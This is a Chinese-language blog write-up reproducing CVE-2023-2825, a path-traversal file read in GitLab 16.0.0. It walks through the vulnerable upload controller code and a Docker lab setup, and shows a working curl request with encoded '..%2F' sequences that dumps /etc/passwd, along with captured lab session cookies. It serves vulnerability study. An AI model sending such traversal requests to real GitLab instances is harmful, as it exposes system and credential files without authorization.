CVE-2023-2825 Gitlab 16.0.0 任意文件读取漏洞

注意
本文最后更新于 2024-01-15,文中内容可能已过时。

CVE-2023-2825 Gitlab 16.0.0 任意文件读取漏洞

奇安信威胁情报中心 (qianxin.com)

GitLab Critical Security Release: 16.0.1 | GitLab

Comparing v16.0.0…v16.0.1 · gitlabhq/gitlabhq (github.com)

GitLab Arbitrary File Read (Gitlab CVE-2023-2825) Analysis — GitLab任意文件读取(Gitlab CVE-2023-2825)分析 (watchtowr.com)

看起来是文件上传显示上传文件的时候,没有过滤掉 filename 而发生的任意文件读取。

app/controllers/concerns/uploads_actions.rb

image-20230525120142754

# frozen_string_literal: true

module UploadsActions
  extend ActiveSupport::Concern
  include Gitlab::Utils::StrongMemoize
  include SendFileUpload

  UPLOAD_MOUNTS = %w[avatar attachment file logo pwa_icon header_logo favicon screenshot].freeze

  included do
    prepend_before_action :set_request_format_from_path_extension
    rescue_from FileUploader::InvalidSecret, with: :render_404

    rescue_from ::Gitlab::Utils::PathTraversalAttackError do
      head :bad_request
    end
  end

  def create
    uploader = UploadService.new(model, params[:file], uploader_class).execute

    respond_to do |format|
      if uploader
        format.json do
          render json: { link: uploader.to_h }
        end
      else
        format.json do
          render json: _('Invalid file.'), status: :unprocessable_entity
        end
      end
    end
  end

  # This should either
  #   - send the file directly
  #   - or redirect to its URL
  #
  def show
    Gitlab::Utils.check_path_traversal!(params[:filename])

    return render_404 unless uploader&.exists?

    ttl, directives = *cache_settings
    ttl ||= 0
    directives ||= { private: true, must_revalidate: true }

    expires_in ttl, directives

    file_uploader = [uploader, *uploader.versions.values].find do |version|
      version.filename == params[:filename]
    end

    return render_404 unless file_uploader

    workhorse_set_content_type!
    send_upload(file_uploader, attachment: file_uploader.filename, disposition: content_disposition)
  end

  def authorize
    set_workhorse_internal_api_content_type

    authorized = uploader_class.workhorse_authorize(
      has_length: false,
      maximum_size: Gitlab::CurrentSettings.max_attachment_size.megabytes.to_i)

    render json: authorized
  rescue SocketError
    render json: _("Error uploading file"), status: :internal_server_error
  end

  private

  # Based on ActionDispatch::Http::MimeNegotiation. We have an
  # initializer that monkey-patches this method out (so that repository
  # paths don't guess a format based on extension), but we do want this
  # behavior when serving uploads.
  def set_request_format_from_path_extension
    path = request.headers['action_dispatch.original_path'] || request.headers['PATH_INFO']

    return unless match = path&.match(/\.(\w+)\z/)

    format = Mime[match.captures.first]

    request.format = format.symbol if format
  end

  def content_disposition
    if uploader.embeddable? || uploader.pdf?
      'inline'
    else
      'attachment'
    end
  end

  def uploader_class
    raise NotImplementedError
  end

  def upload_mount
    mounted_as = params[:mounted_as]
    mounted_as if UPLOAD_MOUNTS.include?(mounted_as)
  end

  def uploader_mounted?
    upload_model_class < CarrierWave::Mount::Extension && !upload_mount.nil?
  end

  def uploader
    if uploader_mounted?
      model.public_send(upload_mount) # rubocop:disable GitlabSecurity/PublicSend
    else
      build_uploader_from_upload || build_uploader_from_params
    end
  end
  strong_memoize_attr :uploader

  # rubocop: disable CodeReuse/ActiveRecord
  def build_uploader_from_upload
    return unless uploader = build_uploader

    upload_paths = uploader.upload_paths(params[:filename])
    upload = Upload.find_by(model: model, uploader: uploader_class.to_s, path: upload_paths)
    upload&.retrieve_uploader
  end
  # rubocop: enable CodeReuse/ActiveRecord

  def build_uploader_from_params
    return unless uploader = build_uploader

    uploader.retrieve_from_store!(params[:filename])
    uploader
  end

  def build_uploader
    return unless params[:secret] && params[:filename]

    uploader = uploader_class.new(model, secret: params[:secret])

    return unless uploader.model_valid?

    uploader
  end

  def embeddable?
    uploader && uploader.exists? && uploader.embeddable?
  end

  def bypass_auth_checks_on_uploads?
    if target_project && !target_project.public? && target_project.enforce_auth_checks_on_uploads?
      return false
    end

    action_name == 'show' && embeddable?
  end

  def target_project
    nil
  end

  def find_model
    nil
  end

  def cache_settings
    []
  end

  def model
    find_model
  end
  strong_memoize_attr :model

  def workhorse_authorize_request?
    action_name == 'authorize'
  end
end

这段代码实现了一个名为 UploadsActions 的 Rails Concern 模块,用于处理文件上传相关的操作。该模块被多个控制器所包含和重用,以提高代码的可读性和可维护性。

具体来说,该模块定义了一系列方法和回调函数,用于处理文件上传、生成文件下载链接、检查路径遍历攻击等。下面对这些方法和回调函数进行详细解释:

  1. module UploadsActions

    定义了一个名为 UploadsActions 的 Rails Concern 模块。

  2. extend ActiveSupport::Concern

    表示该模块是一个 Rails Concern,可以被包含在控制器中。

  3. include Gitlab::Utils::StrongMemoize

    包含了 Gitlab::Utils::StrongMemoize 模块,用于缓存方法调用的结果,提高代码的性能。

  4. include SendFileUpload

    包含了 SendFileUpload 模块,用于发送文件给客户端。

  5. UPLOAD_MOUNTS = %w[avatar attachment file logo pwa_icon header_logo favicon screenshot].freeze

    定义了一个常量 UPLOAD_MOUNTS,包含了多个上传挂载点,用于指定上传文件的存储位置。这些挂载点包括 avatar、attachment、file、logo、pwa_icon、header_logo、favicon、screenshot 等,涵盖了上传文件的大部分用途。

  6. included do

    定义了一个 included 块,用于在包含 UploadsActions 模块的控制器中添加一些回调函数和异常处理逻辑。

  7. prepend_before_action :set_request_format_from_path_extension

    将 set_request_format_from_path_extension 方法添加为控制器方法执行之前的回调函数。该方法用于根据请求路径扩展名自动设置请求格式,例如当请求路径为 “/users/123.json” 时,自动设置请求格式为 JSON。这个方法可以方便地自动处理响应格式,提高代码的可读性和可维护性。

  8. rescue_from FileUploader::InvalidSecret, with: :render_404

    使用 rescue_from 块来捕获 FileUploader::InvalidSecret 异常,并调用 render_404 方法来返回 404 Not Found 响应。这个异常表示上传文件的密钥不匹配,通常由于上传文件的 URL 被篡改或过期而导致。因此,当控制器方法抛出这个异常时,会返回 404 Not Found 响应,告诉客户端请求的资源不存在。

  9. rescue_from ::Gitlab::Utils::PathTraversalAttackError do

    使用 rescue_from 块来捕获 Gitlab::Utils::PathTraversalAttackError 异常,并调用 head 方法来返回 400 Bad Request 响应。这个异常表示上传文件的路径包含了路径遍历攻击的特殊字符,例如 “../” 或 “%2F”,可能导致安全漏洞。因此,当控制器方法抛出这个异常时,会返回 400 Bad Request 响应,告诉客户端请求无效。

  10. def create

定义了一个 create 方法,用于处理文件上传请求。该方法调用 UploadService.new 方法创建一个上传服务对象,并执行 execute 方法上传文件。如果上传成功,则返回 JSON 格式的上传链接;如果上传失败,则返回错误消息和状态码。

  1. def show

定义了一个 show 方法,用于处理文件下载请求。该方法先检查文件名是否包含路径遍历攻击的特殊字符,然后查找上传文件的版本,并根据文件类型设置响应头,最后使用 send_upload 方法将文件发送给客户端。如果文件不存在,则返回 404 Not Found 响应。

  1. def authorize

定义了一个 authorize 方法,用于授权文件上传请求。该方法调用 uploader_class.workhorse_authorize 方法,检查上传文件的大小是否超过最大限制,并返回授权结果。如果发生 SocketError 异常,则返回 500 Internal Server Error 响应。

  1. def set_request_format_from_path_extension

定义了一个 set_request_format_from_path_extension 方法,用于根据请求路径扩展名自动设置请求格式。该方法从请求头中获取原始路径或 PATH_INFO,然后使用正则表达式匹配扩展名,并根据扩展名设置请求格式。

  1. def content_disposition

定义了一个 content_disposition 方法,用于根据文件类型设置下载链接的 Content-Disposition 头。如果文件可以嵌入,或者是 PDF 文件,则设置为 “inline”,否则设置为 “attachment”。

  1. def uploader_class

定义了一个 uploader_class 方法,用于获取上传文件的类名。该方法需要在包含 UploadsActions 模块的控制器中被重写实现,返回对应的上传文件类名。

  1. def upload_mount

定义了一个 upload_mount 方法,用于获取上传文件的挂载点。该方法从请求参数中获取挂载点的名称,如果该名称包含在 UPLOAD_MOUNTS 常量中,则返回该名称,否则返回 nil。

  1. def uploader_mounted?

定义了一个 uploader_mounted? 方法,用于检查上传文件是否已经被挂载。该方法调用 upload_model_class 方法获取上传文件的模型类,判断该类是否继承了 CarrierWave::Mount::Extension 并且挂载点不为 nil。

  1. def uploader

定义了一个 uploader 方法,用于获取上传文件的实例。如果上传文件已经被挂载,则直接返回模型中的挂载对象;否则,根据上传参数创建一个新的上传文件对象或从数据库中查找已有的上传文件对象。

  1. strong_memoize_attr :uploader

使用 Gitlab::Utils::StrongMemoize 模块的 strong_memoize_attr 方法,将 uploader 方法的结果缓存起来,提高代码的性能。

  1. def build_uploader_from_upload

    定义了一个 build_uploader_from_upload 方法,用于从上传文件中创建上传文件对象。该方法先调用 build_uploader 方法创建一个上传文件对象,然后根据文件名获取上传文件在数据库中的记录,最后调用 retrieve_uploader 方法获取上传文件的实例。

  2. def build_uploader_from_params

    定义了一个 build_uploader_from_params 方法,用于从参数中创建上传文件对象。该方法先调用 build_uploader 方法创建一个上传文件对象,然后根据文件名从存储中获取上传文件的实例,并调用 retrieve_from_store! 方法获取上传文件对象。

  3. def build_uploader

    定义了一个 build_uploader 方法,用于从上传参数中创建上传文件对象。该方法首先检查参数中是否包含密钥和文件名,然后调用 uploader_class.new 方法创建一个上传文件对象,并检查该对象是否合法。

  4. def embeddable?

    定义了一个 embeddable? 方法,用于检查上传文件是否可以嵌入到页面中。该方法检查上传文件是否存在,并且是可以嵌入的文件类型,例如图片、视频等。

  5. def bypass_auth_checks_on_uploads?

定义了一个 bypass_auth_checks_on_uploads? 方法,用于检查是否可以跳过文件上传的权限检查。该方法首先获取目标项目(target_project)和模型对象(model),然后根据项目的配置和操作名称判断是否可以跳过权限检查。如果操作为 show,并且上传文件是可以嵌入的,则返回 true;否则,返回 false。

  1. def target_project

    定义了一个 target_project 方法,用于获取目标项目对象。该方法需要在包含 UploadsActions 模块的控制器中被重写实现,返回对应的项目对象。

  2. def find_model

    定义了一个 find_model 方法,用于获取模型对象。该方法需要在包含 UploadsActions 模块的控制器中被重写实现,返回对应的模型对象。

  3. def cache_settings

    定义了一个 cache_settings 方法,用于获取缓存

Docker 环境。

> docker pull gitlab/gitlab-ce:16.0.0-ce.0
> docker run -p 8080:80  --hostname=hostname --env=PATH=/opt/gitlab/embedded/bin:/opt/gitlab/bin:/assets:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin --env=LANG=C.UTF-8 --env=EDITOR=/bin/vi --env=TERM=xterm --volume=/etc/gitlab --volume=/var/log/gitlab --volume=/var/opt/gitlab --label='org.opencontainers.image.ref.name=ubuntu' --label='org.opencontainers.image.version=22.04' --runtime=runc -d gitlab/gitlab-ce:16.0.0-ce.0

进入 Docker 更换 Gitlab 的 root 用户的密码,输入下方命令后立刻输入两次相同的密码,等待片刻即可更换。(密码不得包含常用的单词和字母的组合)

gitlab-rake "gitlab:password:reset[root]"

image-20230526100212058

检查版本。

http://ip/help

image-20230526100343610

新建五个嵌套的 Group(公开的 Public)

image-20230526100714570

点击到 Group5 的 Issue,先新建一个 Project。

image-20230526101018628

有 Project 才可以提 Issue的。现在我们可以在这个新 Project 下面提 Issue 了。我们上传一个 txt 上去看看报文是怎么样的。

image-20230526102208159

POST /group1/group2/group3/group4/group5/myproject/uploads HTTP/1.1
Host: 10.58.119.163:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://10.58.119.163:8080/group1/group2/group3/group4/group5/myproject/-/issues/new
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
X-CSRF-Token: x_BdXYLBQ7Xavjv9YxiQ7s8J9ORbSb16N_Usl3jcHzs60frz89HmR6uJ8J8Gme_ZPxgddC33zZOtMXCOQIzQ-w
Content-Type: multipart/form-data; boundary=---------------------------10156574002535303338987553282
Content-Length: 232
Origin: http://10.58.119.163:8080
Connection: close
Cookie: _gitlab_session=48ce91215a3e8b641ad9f8f2b751dc0d; preferred_language=en; remember_user_token=eyJfcmFpbHMiOnsibWVzc2FnZSI6Ilcxc3hYU3dpSkRKaEpERXdKRVJ5Tm5GVlIwTk9Sbm95TG1rNWEyUjRhVE40ZVU4aUxDSXhOamcxTURZM05qRXlMalEwT0RZME16Y2lYUT09IiwiZXhwIjoiMjAyMy0wNi0wOVQwMjoyMDoxMi40NDhaIiwicHVyIjoiY29va2llLnJlbWVtYmVyX3VzZXJfdG9rZW4ifX0%3D--0a3d2cbc36d0b7560cf86569fe012f3948d32a35; known_sign_in=Yk5wTjJOZ0REdXl0emJqd1JtelZsZGt3V20rQ2xicFpQMStqcXNLQWVXamo1aXIxTFBwZEVCd2hIMTZuenlVTFRiTHpiekJzNU1hcVM3dmd0dEdnZHBULzFJeDBxeW9leStzSEIwRkJITWlHeW43cHlqNCs1a2JIcjI2UmdHTnAtLVcyemlOQjl6RlBmc2VlMGN4LzlHeVE9PQ%3D%3D--f98c80107aa5fa2703a6addaa2cad2633262f47d; sidebar_collapsed=false; 16.0.0-hide-alert-modal=true

-----------------------------10156574002535303338987553282
Content-Disposition: form-data; name="file"; filename="xyw.txt"
Content-Type: text/plain

Test txt by xyw
-----------------------------10156574002535303338987553282--

在 Docker 里面找到 txt 的位置

> find / -name "xyw.txt"
/var/opt/gitlab/gitlab-rails/uploads/@hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b/ffbca056817c56f6db260c4c21994256/xyw.txt

这里我们是否可以遍历然后任意文件读取呢。我们创建一个新的文件 flag.txt 在这个位置。

echo flag-is-here > /var/opt/gitlab/gitlab-rails/uploads/@hashed/6b/86/flag.txt

也就是说 flag.txt 在 xyw.txt 的上两级目录下。

已知,xyw.txt 对应的 URL 是这个,访问即可看到 xyw.txt。

http://10.58.119.163:8080/group1/group2/group3/group4/group5/myproject/uploads/ffbca056817c56f6db260c4c21994256/xyw.txt

我们尝试一下是否可以通过目录穿越访问 flag,也就是访问:

http://10.58.119.163:8080/group1/group2/group3/group4/group5/myproject/uploads/ffbca056817c56f6db260c4c21994256/..%2f..%2fflag.txt

很明显是可以的。

image-20230526104252125

参考中也提到,想要穿越几层,就要有至少几层的 Group。我们要穿越 10 次才可以到根目录。

发现 5 个 Group 最多穿越 5 次。也就是说假如我们要穿越到根目录要 10 个嵌套的 Group。

但是经过试验并不是这样的,按照作者的在第九个 Group 去做攻击,确实是可以攻击成功的。

> curl http://10.58.119.163:8080/group1/group2/group3/group4/group5/group6/group7/group8/group9/project3/uploads/f368a14ea87ccb982668a20de045de98//..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

这个漏洞需要:

  • 你的 Group 都是公开的;
  • 你的项目是可以公开提 Issue,这样才可以知道 URL 后面的 hash;
  • 而且需要嵌套组。